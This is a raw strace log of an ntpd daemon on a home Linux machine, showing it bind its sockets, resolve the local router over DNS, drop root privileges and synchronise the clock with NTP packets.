12928 fcntl(7, F_DUPFD, 16)             = 18
12928 close(7)                          = 0
12928 setsockopt(18, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
12928 setsockopt(18, SOL_IP, IP_TOS, [192], 4) = 0
12928 setsockopt(16, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
12928 bind(18, {sa_family=AF_INET, sin_port=htons(123), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
12928 setsockopt(16, SOL_SOCKET, SO_REUSEADDR, [0], 4) = 0
12928 setsockopt(18, SOL_SOCKET, SO_TIMESTAMP, [1], 4) = 0
12928 fcntl(18, F_SETFL, O_RDONLY|O_NONBLOCK) = 0
12928 sendto(3, "<30>Oct 15 00:02:29 ntpd[12928]:"..., 74, MSG_NOSIGNAL, NULL, 0) = 74
12928 ioctl(5, SIOCGIFFLAGS, {ifr_name="eth0", ifr_flags=IFF_UP|IFF_BROADCAST|IFF_RUNNING|IFF_MULTICAST}) = 0
12928 ioctl(5, SIOCGIFBRDADDR, {ifr_name="eth0", ifr_broadaddr={AF_INET, inet_addr("192.168.178.255")}}) = 0
12928 ioctl(5, SIOCGIFNETMASK, {ifr_name="eth0", ifr_netmask={AF_INET, inet_addr("255.255.255.0")}}) = 0
12928 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 7
12928 fcntl(7, F_DUPFD, 16)             = 19
12928 close(7)                          = 0
12928 setsockopt(19, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
12928 setsockopt(19, SOL_IP, IP_TOS, [192], 4) = 0
12928 setsockopt(16, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
12928 bind(19, {sa_family=AF_INET, sin_port=htons(123), sin_addr=inet_addr("192.168.178.27")}, 16) = 0
12928 setsockopt(16, SOL_SOCKET, SO_REUSEADDR, [0], 4) = 0
12928 setsockopt(19, SOL_SOCKET, SO_TIMESTAMP, [1], 4) = 0
12928 fcntl(19, F_SETFL, O_RDONLY|O_NONBLOCK) = 0
12928 sendto(3, "<30>Oct 15 00:02:29 ntpd[12928]:"..., 81, MSG_NOSIGNAL, NULL, 0) = 81
12928 setsockopt(19, SOL_IP, IP_MULTICAST_IF, [464693440], 4) = 0
12928 ioctl(5, SIOCGIFFLAGS, {ifr_name="eth0", ifr_flags=IFF_UP|IFF_BROADCAST|IFF_RUNNING|IFF_MULTICAST}) = 0
12928 socket(PF_INET6, SOCK_DGRAM, IPPROTO_IP) = 7
12928 fcntl(7, F_DUPFD, 16)             = 20
12928 close(7)                          = 0
12928 setsockopt(20, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
12928 setsockopt(20, SOL_IPV6, IPV6_V6ONLY, [1], 4) = 0
12928 setsockopt(17, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
12928 bind(20, {sa_family=AF_INET6, sin6_port=htons(123), inet_pton(AF_INET6, "fe80::922b:34ff:fe33:c292", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=if_nametoindex("eth0")}, 28) = 0
12928 setsockopt(17, SOL_SOCKET, SO_REUSEADDR, [0], 4) = 0
12928 setsockopt(20, SOL_SOCKET, SO_TIMESTAMP, [1], 4) = 0
12928 fcntl(20, F_SETFL, O_RDONLY|O_NONBLOCK) = 0
12928 sendto(3, "<30>Oct 15 00:02:29 ntpd[12928]:"..., 92, MSG_NOSIGNAL, NULL, 0) = 92
12928 setsockopt(20, SOL_IPV6, IPV6_MULTICAST_IF, [2], 4) = 0
12928 read(6, "", 1024)                 = 0
12928 close(5)                          = 0
12928 lseek(6, 54, SEEK_SET)            = 54
12928 close(6)                          = 0
12928 munmap(0x7fc54a718000, 4096)      = 0
12928 sendto(3, "<30>Oct 15 00:02:29 ntpd[12928]:"..., 48, MSG_NOSIGNAL, NULL, 0) = 48
12928 setsockopt(20, SOL_SOCKET, SO_REUSEADDR, [0], 4) = 0
12928 setsockopt(19, SOL_SOCKET, SO_REUSEADDR, [0], 4) = 0
12928 setsockopt(18, SOL_SOCKET, SO_REUSEADDR, [0], 4) = 0
12928 socket(PF_NETLINK, SOCK_RAW, 0)   = 5
12928 fcntl(5, F_DUPFD, 16)             = 21
12928 close(5)                          = 0
12928 bind(21, {sa_family=AF_NETLINK, pid=0, groups=00000771}, 12) = 0
12928 fcntl(21, F_SETFL, O_RDONLY|O_NONBLOCK) = 0
12928 sendto(3, "<30>Oct 15 00:02:29 ntpd[12928]:"..., 92, MSG_NOSIGNAL, NULL, 0) = 92
12928 socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 5
12928 connect(5, {sa_family=AF_FILE, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
12928 close(5)                          = 0
12928 socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 5
12928 connect(5, {sa_family=AF_FILE, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
12928 close(5)                          = 0
12928 open("/etc/nsswitch.conf", O_RDONLY|O_CLOEXEC) = 5
12928 fstat(5, {st_mode=S_IFREG|0644, st_size=223, ...}) = 0
12928 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a718000
12928 read(5, "# Begin /etc/nsswitch.conf\n\npass"..., 4096) = 223
12928 read(5, "", 4096)                 = 0
12928 close(5)                          = 0
12928 munmap(0x7fc54a718000, 4096)      = 0
12928 open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 5
12928 fstat(5, {st_mode=S_IFREG|0644, st_size=160446, ...}) = 0
12928 mmap(NULL, 160446, PROT_READ, MAP_PRIVATE, 5, 0) = 0x7fc54a6c3000
12928 close(5)                          = 0
12928 open("/usr/lib/libnss_files.so.2", O_RDONLY|O_CLOEXEC) = 5
12928 read(5, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0000\"\0\0\0\0\0\0"..., 832) = 832
12928 fstat(5, {st_mode=S_IFREG|0755, st_size=52136, ...}) = 0
12928 mmap(NULL, 2148136, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 5, 0) = 0x7fc548bfb000
12928 mprotect(0x7fc548c07000, 2093056, PROT_NONE) = 0
12928 mmap(0x7fc548e06000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 5, 0xb000) = 0x7fc548e06000
12928 close(5)                          = 0
12928 mprotect(0x7fc548e06000, 4096, PROT_READ) = 0
12928 munmap(0x7fc54a6c3000, 160446)    = 0
12928 open("/etc/services", O_RDONLY|O_CLOEXEC) = 5
12928 fstat(5, {st_mode=S_IFREG|0644, st_size=286369, ...}) = 0
12928 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a718000
12928 read(5, "# See the full IANA XML file at:"..., 4096) = 4096
12928 read(5, "     97/tcp\nswift-rvf          9"..., 4096) = 4096
12928 close(5)                          = 0
12928 munmap(0x7fc54a718000, 4096)      = 0
12928 open("/etc/services", O_RDONLY|O_CLOEXEC) = 5
12928 fstat(5, {st_mode=S_IFREG|0644, st_size=286369, ...}) = 0
12928 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a718000
12928 read(5, "# See the full IANA XML file at:"..., 4096) = 4096
12928 read(5, "     97/tcp\nswift-rvf          9"..., 4096) = 4096
12928 close(5)                          = 0
12928 munmap(0x7fc54a718000, 4096)      = 0
12928 open("/var/lib/ntp/ntp.drift", O_RDONLY) = 5
12928 fstat(5, {st_mode=S_IFREG|0644, st_size=6, ...}) = 0
12928 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a718000
12928 read(5, "5.928\n", 4096)          = 6
12928 close(5)                          = 0
12928 munmap(0x7fc54a718000, 4096)      = 0
12928 open("/var/log/ntp.log", O_WRONLY|O_CREAT|O_APPEND, 0666) = 5
12928 fstat(5, {st_mode=S_IFREG|0644, st_size=163, ...}) = 0
12928 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a718000
12928 fstat(5, {st_mode=S_IFREG|0644, st_size=163, ...}) = 0
12928 lseek(5, 163, SEEK_SET)           = 163
12928 open("/etc/services", O_RDONLY|O_CLOEXEC) = 6
12928 fstat(6, {st_mode=S_IFREG|0644, st_size=286369, ...}) = 0
12928 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a717000
12928 read(6, "# See the full IANA XML file at:"..., 4096) = 4096
12928 read(6, "     97/tcp\nswift-rvf          9"..., 4096) = 4096
12928 close(6)                          = 0
12928 munmap(0x7fc54a717000, 4096)      = 0
12928 socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 6
12928 connect(6, {sa_family=AF_FILE, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
12928 close(6)                          = 0
12928 socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 6
12928 connect(6, {sa_family=AF_FILE, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
12928 close(6)                          = 0
12928 open("/etc/host.conf", O_RDONLY|O_CLOEXEC) = 6
12928 fstat(6, {st_mode=S_IFREG|0644, st_size=63, ...}) = 0
12928 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a717000
12928 read(6, "#\n# /etc/host.conf\n#\n\norder host"..., 4096) = 63
12928 read(6, "", 4096)                 = 0
12928 close(6)                          = 0
12928 munmap(0x7fc54a717000, 4096)      = 0
12928 futex(0x7fc5499e8620, FUTEX_WAKE_PRIVATE, 2147483647) = 0
12928 open("/etc/resolv.conf", O_RDONLY|O_CLOEXEC) = 6
12928 fstat(6, {st_mode=S_IFREG|0644, st_size=25, ...}) = 0
12928 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a717000
12928 read(6, "nameserver 192.168.178.1\n", 4096) = 25
12928 read(6, "", 4096)                 = 0
12928 close(6)                          = 0
12928 munmap(0x7fc54a717000, 4096)      = 0
12928 uname({sys="Linux", node="hinniepc", ...}) = 0
12928 open("/etc/hosts", O_RDONLY|O_CLOEXEC) = 6
12928 fstat(6, {st_mode=S_IFREG|0644, st_size=213, ...}) = 0
12928 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a717000
12928 read(6, "#\n# /etc/hosts: static lookup ta"..., 4096) = 213
12928 read(6, "", 4096)                 = 0
12928 close(6)                          = 0
12928 munmap(0x7fc54a717000, 4096)      = 0
12928 open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 6
12928 fstat(6, {st_mode=S_IFREG|0644, st_size=160446, ...}) = 0
12928 mmap(NULL, 160446, PROT_READ, MAP_PRIVATE, 6, 0) = 0x7fc54a6c3000
12928 close(6)                          = 0
12928 open("/usr/lib/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = 6
12928 read(6, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\21\0\0\0\0\0\0"..., 832) = 832
12928 fstat(6, {st_mode=S_IFREG|0755, st_size=22936, ...}) = 0
12928 mmap(NULL, 2117872, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 6, 0) = 0x7fc5489f5000
12928 mprotect(0x7fc5489fa000, 2093056, PROT_NONE) = 0
12928 mmap(0x7fc548bf9000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 6, 0x4000) = 0x7fc548bf9000
12928 close(6)                          = 0
12928 open("/usr/lib/libresolv.so.2", O_RDONLY|O_CLOEXEC) = 6
12928 read(6, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\200:\0\0\0\0\0\0"..., 832) = 832
12928 fstat(6, {st_mode=S_IFREG|0755, st_size=84832, ...}) = 0
12928 mmap(NULL, 2189928, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 6, 0) = 0x7fc5487de000
12928 mprotect(0x7fc5487f1000, 2097152, PROT_NONE) = 0
12928 mmap(0x7fc5489f1000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 6, 0x13000) = 0x7fc5489f1000
12928 mmap(0x7fc5489f3000, 6760, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fc5489f3000
12928 close(6)                          = 0
12928 mprotect(0x7fc5489f1000, 4096, PROT_READ) = 0
12928 mprotect(0x7fc548bf9000, 4096, PROT_READ) = 0
12928 munmap(0x7fc54a6c3000, 160446)    = 0
12928 socket(PF_INET, SOCK_DGRAM|SOCK_NONBLOCK, IPPROTO_IP) = 6
12928 connect(6, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.178.1")}, 16) = 0
12928 poll([{fd=6, events=POLLOUT}], 1, 0) = 1 ([{fd=6, revents=POLLOUT}])
12928 sendmmsg(6, {{{msg_name(0)=NULL, msg_iov(1)=[{"\322\207\1\0\0\1\0\0\0\0\0\0\5fritz\3box\0\0\1\0\1", 27}], msg_controllen=0, msg_flags=0}, 27}, {{msg_name(0)=NULL, msg_iov(1)=[{"@\37\1\0\0\1\0\0\0\0\0\0\5fritz\3box\0\0\34\0\1", 27}], msg_controllen=0, msg_flags=0}, 27}}, 2, MSG_NOSIGNAL) = 2
12928 poll([{fd=6, events=POLLIN}], 1, 5000) = 1 ([{fd=6, revents=POLLIN}])
12928 ioctl(6, FIONREAD, [73])          = 0
12928 recvfrom(6, "\322\207\204\200\0\1\0\1\0\1\0\1\5fritz\3box\0\0\1\0\1\300\f\0\1\0"..., 2048, 0, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.178.1")}, [16]) = 73
12928 poll([{fd=6, events=POLLIN}], 1, 4998) = 1 ([{fd=6, revents=POLLIN}])
12928 ioctl(6, FIONREAD, [57])          = 0
12928 recvfrom(6, "@\37\204\200\0\1\0\0\0\1\0\1\5fritz\3box\0\0\34\0\1\300\f\0\2\0"..., 1975, 0, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.178.1")}, [16]) = 57
12928 close(6)                          = 0
12928 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 6
12928 connect(6, {sa_family=AF_INET, sin_port=htons(123), sin_addr=inet_addr("192.168.178.1")}, 16) = 0
12928 getsockname(6, {sa_family=AF_INET, sin_port=htons(39782), sin_addr=inet_addr("192.168.178.27")}, [16]) = 0
12928 close(6)                          = 0
12928 close(4)                          = 0
12928 munmap(0x7fc54a719000, 4096)      = 0
12928 adjtimex({modes=ADJ_FREQUENCY, offset=0, freq=388497, maxerror=16, esterror=16, status=STA_PLL|STA_NANO, constant=3, precision=1, tolerance=32768000, time={1350252149, 833115061}, tick=10000, ppsfreq=0, jitter=0, shift=0, stabil=0, jitcnt=0, calcnt=0, errcnt=0, stbcnt=0}) = 0 (TIME_OK)
12928 prctl(PR_SET_KEEPCAPS, 1)         = 0
12928 socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 4
12928 connect(4, {sa_family=AF_FILE, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
12928 close(4)                          = 0
12928 socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 4
12928 connect(4, {sa_family=AF_FILE, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
12928 close(4)                          = 0
12928 open("/etc/passwd", O_RDONLY|O_CLOEXEC) = 4
12928 fstat(4, {st_mode=S_IFREG|0644, st_size=697, ...}) = 0
12928 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a719000
12928 read(4, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 697
12928 close(4)                          = 0
12928 munmap(0x7fc54a719000, 4096)      = 0
12928 socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 4
12928 connect(4, {sa_family=AF_FILE, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
12928 close(4)                          = 0
12928 socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 4
12928 connect(4, {sa_family=AF_FILE, sun_path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory)
12928 close(4)                          = 0
12928 open("/etc/group", O_RDONLY|O_CLOEXEC) = 4
12928 fstat(4, {st_mode=S_IFREG|0644, st_size=588, ...}) = 0
12928 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a719000
12928 read(4, "root:x:0:root\nbin:x:1:root,bin,d"..., 4096) = 588
12928 close(4)                          = 0
12928 munmap(0x7fc54a719000, 4096)      = 0
12928 open("/proc/sys/kernel/ngroups_max", O_RDONLY) = 4
12928 read(4, "65536\n", 31)            = 6
12928 close(4)                          = 0
12928 open("/etc/group", O_RDONLY|O_CLOEXEC) = 4
12928 fstat(4, {st_mode=S_IFREG|0644, st_size=588, ...}) = 0
12928 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a719000
12928 lseek(4, 0, SEEK_CUR)             = 0
12928 read(4, "root:x:0:root\nbin:x:1:root,bin,d"..., 4096) = 588
12928 read(4, "", 4096)                 = 0
12928 lseek(4, 588, SEEK_SET)           = 588
12928 close(4)                          = 0
12928 munmap(0x7fc54a719000, 4096)      = 0
12928 setgroups(1, [87])                = 0
12928 setgid(87)                        = 0
12928 setresgid(-1, 87, -1)             = 0
12928 setuid(87)                        = 0
12928 setresuid(-1, 87, -1)             = 0
12928 capget({_LINUX_CAPABILITY_VERSION_3, 0}, NULL) = 0
12928 capset({_LINUX_CAPABILITY_VERSION_3, 0}, {CAP_NET_BIND_SERVICE|CAP_SYS_TIME, CAP_NET_BIND_SERVICE|CAP_SYS_TIME, CAP_NET_BIND_SERVICE|CAP_SYS_TIME}) = 0
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 sendto(19, "\343\0\6\351\0\0\0\0\0\0\0\0INIT\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 48, 0, {sa_family=AF_INET, sin_port=htons(123), sin_addr=inet_addr("192.168.178.1")}, 16) = 48
12928 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
12928 ioctl(4, SIOCGIFCONF, {80, {{"lo", {AF_INET, inet_addr("127.0.0.1")}}, {"eth0", {AF_INET, inet_addr("192.168.178.27")}}}}) = 0
12928 open("/proc/net/if_inet6", O_RDONLY) = 6
12928 fstat(6, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0
12928 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc54a719000
12928 lseek(6, 0, SEEK_SET)             = 0
12928 read(6, "fe80000000000000922b34fffe33c292"..., 1024) = 54
12928 ioctl(4, SIOCGIFFLAGS, {ifr_name="lo", ifr_flags=IFF_UP|IFF_LOOPBACK|IFF_RUNNING}) = 0
12928 ioctl(4, SIOCGIFNETMASK, {ifr_name="lo", ifr_netmask={AF_INET, inet_addr("255.0.0.0")}}) = 0
12928 ioctl(4, SIOCGIFFLAGS, {ifr_name="eth0", ifr_flags=IFF_UP|IFF_BROADCAST|IFF_RUNNING|IFF_MULTICAST}) = 0
12928 ioctl(4, SIOCGIFBRDADDR, {ifr_name="eth0", ifr_broadaddr={AF_INET, inet_addr("192.168.178.255")}}) = 0
12928 ioctl(4, SIOCGIFNETMASK, {ifr_name="eth0", ifr_netmask={AF_INET, inet_addr("255.255.255.0")}}) = 0
12928 ioctl(4, SIOCGIFFLAGS, {ifr_name="eth0", ifr_flags=IFF_UP|IFF_BROADCAST|IFF_RUNNING|IFF_MULTICAST}) = 0
12928 read(6, "", 1024)                 = 0
12928 close(4)                          = 0
12928 lseek(6, 54, SEEK_SET)            = 54
12928 close(6)                          = 0
12928 munmap(0x7fc54a719000, 4096)      = 0
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = 1 (in [19])
12928 select(22, [16 17 18 19 20 21], NULL, NULL, {0, 0}) = 1 (in [19], left {0, 0})
12928 recvmsg(19, {msg_name(16)={sa_family=AF_INET, sin_port=htons(123), sin_addr=inet_addr("192.168.178.1")}, msg_iov(1)=[{"\34\2\6\355\0\0\17o\0\0\0\234\203\274\3\335\324%\264[\27\307`O\324%\264\366\321a.h"..., 2120}], msg_controllen=32, {cmsg_len=32, cmsg_level=SOL_SOCKET, cmsg_type=0x1d /* SCM_??? */, ...}, msg_flags=0}, 0) = 48
12928 recvmsg(19, 0x7fff37c323f0, 0)    = -1 EAGAIN (Resource temporarily unavailable)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 sendto(19, "\343\0\6\351\0\0\0\0\0\0\0\2INIT\0\0\0\0\0\0\0\0\324%\264\366\321\213\366Y"..., 48, 0, {sa_family=AF_INET, sin_port=htons(123), sin_addr=inet_addr("192.168.178.1")}, 16) = 48
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = 1 (in [19])
12928 select(22, [16 17 18 19 20 21], NULL, NULL, {0, 0}) = 1 (in [19], left {0, 0})
12928 recvmsg(19, {msg_name(16)={sa_family=AF_INET, sin_port=htons(123), sin_addr=inet_addr("192.168.178.1")}, msg_iov(1)=[{"\34\2\6\355\0\0\17o\0\0\0\236\203\274\3\335\324%\264[\27\307`O\324%\264\370\321b%L"..., 2120}], msg_controllen=32, {cmsg_len=32, cmsg_level=SOL_SOCKET, cmsg_type=0x1d /* SCM_??? */, ...}, msg_flags=0}, 0) = 48
12928 recvmsg(19, 0x7fff37c323f0, 0)    = -1 EAGAIN (Resource temporarily unavailable)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 sendto(19, "\343\0\6\351\0\0\0\0\0\0\0\4INIT\0\0\0\0\0\0\0\0\324%\264\370\321\212\351\352"..., 48, 0, {sa_family=AF_INET, sin_port=htons(123), sin_addr=inet_addr("192.168.178.1")}, 16) = 48
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = 1 (in [19])
12928 select(22, [16 17 18 19 20 21], NULL, NULL, {0, 0}) = 1 (in [19], left {0, 0})
12928 recvmsg(19, {msg_name(16)={sa_family=AF_INET, sin_port=htons(123), sin_addr=inet_addr("192.168.178.1")}, msg_iov(1)=[{"\34\2\6\355\0\0\17o\0\0\0\237\203\274\3\335\324%\264[\27\307`O\324%\264\372\321a\177\213"..., 2120}], msg_controllen=32, {cmsg_len=32, cmsg_level=SOL_SOCKET, cmsg_type=0x1d /* SCM_??? */, ...}, msg_flags=0}, 0) = 48
12928 recvmsg(19, 0x7fff37c323f0, 0)    = -1 EAGAIN (Resource temporarily unavailable)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 sendto(19, "\343\0\6\351\0\0\0\0\0\0\0\6INIT\0\0\0\0\0\0\0\0\324%\264\372\321\212 \226"..., 48, 0, {sa_family=AF_INET, sin_port=htons(123), sin_addr=inet_addr("192.168.178.1")}, 16) = 48
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = 1 (in [19])
12928 select(22, [16 17 18 19 20 21], NULL, NULL, {0, 0}) = 1 (in [19], left {0, 0})
12928 recvmsg(19, {msg_name(16)={sa_family=AF_INET, sin_port=htons(123), sin_addr=inet_addr("192.168.178.1")}, msg_iov(1)=[{"\34\2\6\355\0\0\17o\0\0\0\240\203\274\3\335\324%\264[\27\307`O\324%\264\374\321b^\3"..., 2120}], msg_controllen=32, {cmsg_len=32, cmsg_level=SOL_SOCKET, cmsg_type=0x1d /* SCM_??? */, ...}, msg_flags=0}, 0) = 48
12928 recvmsg(19, 0x7fff37c323f0, 0)    = -1 EAGAIN (Resource temporarily unavailable)
12928 adjtimex({modes=ADJ_OFFSET|ADJ_MAXERROR|ADJ_ESTERROR|ADJ_STATUS|ADJ_TIMECONST|0x2000, offset=-28197, freq=388484, maxerror=1000703, esterror=9, status=STA_PLL|STA_NANO, constant=6, precision=1, tolerance=32768000, time={1350252156, 819317574}, tick=10000, ppsfreq=0, jitter=0, shift=0, stabil=0, jitcnt=0, calcnt=0, errcnt=0, stbcnt=0}) = 0 (TIME_OK)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 open("/dev/urandom", O_RDONLY|O_NOCTTY|O_NONBLOCK) = 4
12928 fstat(4, {st_mode=S_IFCHR|0666, st_rdev=makedev(1, 9), ...}) = 0
12928 poll([{fd=4, events=POLLIN}], 1, 10) = 1 ([{fd=4, revents=POLLIN}])
12928 read(4, ">8\346\2017M\346ZA\245<\373\271\210\242b\272\350\212\351\341\373,x\r76\261\322\215\256\332", 32) = 32
12928 close(4)                          = 0
12928 getuid()                          = 87
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 sendto(19, "#\3\6\351\0\0\17\212\0\0\370j\300\250\262\1\324%\264\374\321\233o:\324%\264\374\321\213\263="..., 48, 0, {sa_family=AF_INET, sin_port=htons(123), sin_addr=inet_addr("192.168.178.1")}, 16) = 48
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = 1 (in [19])
12928 select(22, [16 17 18 19 20 21], NULL, NULL, {0, 0}) = 1 (in [19], left {0, 0})
12928 recvmsg(19, {msg_name(16)={sa_family=AF_INET, sin_port=htons(123), sin_addr=inet_addr("192.168.178.1")}, msg_iov(1)=[{"\34\2\6\355\0\0\17o\0\0\0\242\203\274\3\335\324%\264[\27\307`O\324%\264\376\321dBM"..., 2120}], msg_controllen=32, {cmsg_len=32, cmsg_level=SOL_SOCKET, cmsg_type=0x1d /* SCM_??? */, ...}, msg_flags=0}, 0) = 48
12928 recvmsg(19, 0x7fff37c323f0, 0)    = -1 EAGAIN (Resource temporarily unavailable)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
